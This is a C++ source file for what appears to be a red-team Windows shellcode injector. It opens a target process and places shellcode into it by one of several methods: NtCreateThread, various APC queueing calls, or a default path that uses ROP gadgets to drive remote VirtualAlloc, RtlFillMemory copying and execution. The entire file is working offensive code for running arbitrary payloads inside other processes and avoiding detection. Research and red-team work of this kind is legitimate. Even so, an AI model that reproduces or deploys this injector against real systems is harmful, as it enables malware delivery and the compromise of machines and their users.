Files
2025-05-16 13:23:16 +03:00

220 lines
6.9 KiB
C++

#include "Injection.h"
static bool InjectShellcodeUsingCreateRemoteThread(
HANDLE hProcess,
const std::vector<unsigned char> &shellcodeBytes,
SIZE_T allocSize,
DWORD allocPerm,
bool verbose);
bool Inject(const InjectionConfig &config)
{
// Create a modifiable copy of the shellcode bytes
std::vector<unsigned char> shellcodeBytes;
LoadShellcodeEx(config, shellcodeBytes);
// Open process with necessary permissions (using function from ProcessThread.h)
HANDLE hProcess = OpenTargetProcess(config.targetPid);
if (!hProcess)
{
std::cerr << "[!] Failed to open target process. Error: " << GetLastError() << std::endl;
return false;
}
if (config.verbose)
{
std::cout << "[*] Successfully opened process with PID: " << config.targetPid << std::endl;
}
bool success = false;
// Choose appropriate delivery method
switch (config.method)
{
case DeliveryMethod::NTCREATETHREAD:
if (config.verbose)
{
std::cout << "[*] Using NtCreateThread injection method" << std::endl;
}
success = InjectShellcodeUsingNtCreateThread(
hProcess,
shellcodeBytes,
config.allocSize,
config.allocPerm,
config.verbose);
break;
case DeliveryMethod::QUEUEUSERAPC:
if (config.verbose)
{
std::cout << "[*] Using QueueUserAPC injection method" << std::endl;
}
success = InjectShellcodeUsingAPC(
hProcess,
shellcodeBytes,
config);
break;
case DeliveryMethod::QUEUEUSERAPC2:
if (config.verbose)
std::cout << "[*] Using QueueUserAPC2 injection method with special user APC flag" << std::endl;
success = InjectShellcodeUsingQueueUserAPC2(
hProcess,
shellcodeBytes,
config);
break;
case DeliveryMethod::NTQUEUEAPCTHREAD:
if (config.verbose)
std::cout << "[*] Using NtQueueApcThread injection method" << std::endl;
success = InjectShellcodeUsingNtQueueApcThread(
hProcess,
shellcodeBytes,
config);
break;
case DeliveryMethod::NTQUEUEAPCTHREADEX:
if (config.verbose)
std::cout << "[*] Using NtQueueApcThreadEx injection method" << std::endl;
success = InjectShellcodeUsingNtQueueApcEx(
hProcess,
shellcodeBytes,
config);
break;
case DeliveryMethod::NTQUEUEAPCTHREADEX2:
if (config.verbose)
std::cout << "[*] Using NtQueueApcThreadEx2 injection method with special user APC flag" << std::endl;
success = InjectShellcodeUsingNtQueueApcThreadEx2(
hProcess,
shellcodeBytes,
config);
break;
case DeliveryMethod::CREATETHREAD:
default:
if (config.verbose)
std::cout << "[*] Using ROP gadget injection method" << std::endl;
success = InjectShellcodeUsingCreateRemoteThread(
hProcess,
shellcodeBytes,
config.allocSize,
config.allocPerm,
config.verbose);
break;
}
CloseHandle(hProcess);
return success;
}
static bool InjectShellcodeUsingCreateRemoteThread(
HANDLE hProcess,
const std::vector<unsigned char> &shellcodeBytes,
SIZE_T allocSize,
DWORD allocPerm,
bool verbose)
{
// Find a unique push-push-ret gadget in the target process
GadgetInfo gadget = FindUniquePushPushRetGadget(hProcess);
if (gadget.address == nullptr)
{
std::cerr << "[!] Failed to find a suitable ROP gadget in the target process. Error: " << GetLastError() << std::endl;
return false;
}
if (verbose)
std::cout << "[*] Found ROP gadget at address: " << gadget.address << std::endl;
// Get necessary function addresses
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32)
{
std::cerr << "[!] Failed to get kernel32.dll handle. Error: " << GetLastError() << std::endl;
return false;
}
LPVOID pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc");
LPVOID pExitThread = GetProcAddress(hKernel32, "ExitThread");
LPVOID pRtlFillMemory = GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlFillMemory"); // RtlFillMemory is in ntdll.dll
if (verbose)
{
std::cout << "[*] Function addresses obtained:"
<< "\n VirtualAlloc: " << pVirtualAlloc
<< "\n ExitThread: " << pExitThread
<< "\n RtlFillMemory: " << pRtlFillMemory << std::endl;
}
if (!pVirtualAlloc || !pExitThread || !pRtlFillMemory)
{
std::cerr << "[!] Failed to get necessary function addresses. Error: " << GetLastError() << std::endl;
return false;
}
// Set the ExitThread address for use in remote threads
DWORD64 exitThreadAddr = reinterpret_cast<DWORD64>(pExitThread);
// Allocate memory in the target process for the shellcode
DWORD64 ALLOC_SIZE = allocSize;
DWORD64 ALLOC_TYPE = MEM_COMMIT | MEM_RESERVE;
DWORD64 ALLOC_PROTECT = allocPerm;
DWORD64 REQUESTED_ALLOC_ADDR = 0x60000; // Default base address for allocation
// Create a remote thread to call VirtualAlloc
bool allocSuccess = CreateRemoteThreadViaGadget(
hProcess, gadget,
REQUESTED_ALLOC_ADDR, ALLOC_SIZE, ALLOC_TYPE, ALLOC_PROTECT,
reinterpret_cast<DWORD64>(pVirtualAlloc), exitThreadAddr);
if (!allocSuccess)
{
std::cerr << "[!] Failed to allocate memory in the target process. Error: " << GetLastError() << std::endl;
return false;
}
if (verbose)
std::cout << "[*] Successfully allocated memory at address: 0x" << std::hex
<< REQUESTED_ALLOC_ADDR << std::dec
<< " with size: " << ALLOC_SIZE << " bytes" << std::endl;
// Copy the shellcode to the allocated memory
bool copySuccess = PerformRemoteMemoryCopy(
hProcess, gadget,
pRtlFillMemory, // Pass address of RtlFillMemory
REQUESTED_ALLOC_ADDR,
shellcodeBytes.data(), shellcodeBytes.size(),
exitThreadAddr);
if (!copySuccess)
{
std::cerr << "[!] Failed to copy shellcode to the target process. Error: " << GetLastError() << std::endl;
return false;
}
if (verbose)
std::cout << "[*] Successfully copied " << shellcodeBytes.size()
<< " bytes of shellcode to the target process" << std::endl;
// Execute the shellcode
bool execSuccess = CreateRemoteThreadViaGadget(
hProcess, gadget,
0, 0, 0, 0,
REQUESTED_ALLOC_ADDR, exitThreadAddr);
if (!execSuccess)
{
std::cerr << "[!] Failed to execute shellcode. Error: " << GetLastError() << std::endl;
return false;
}
if (verbose)
std::cout << "[*] Successfully executed shellcode" << std::endl;
return true;
}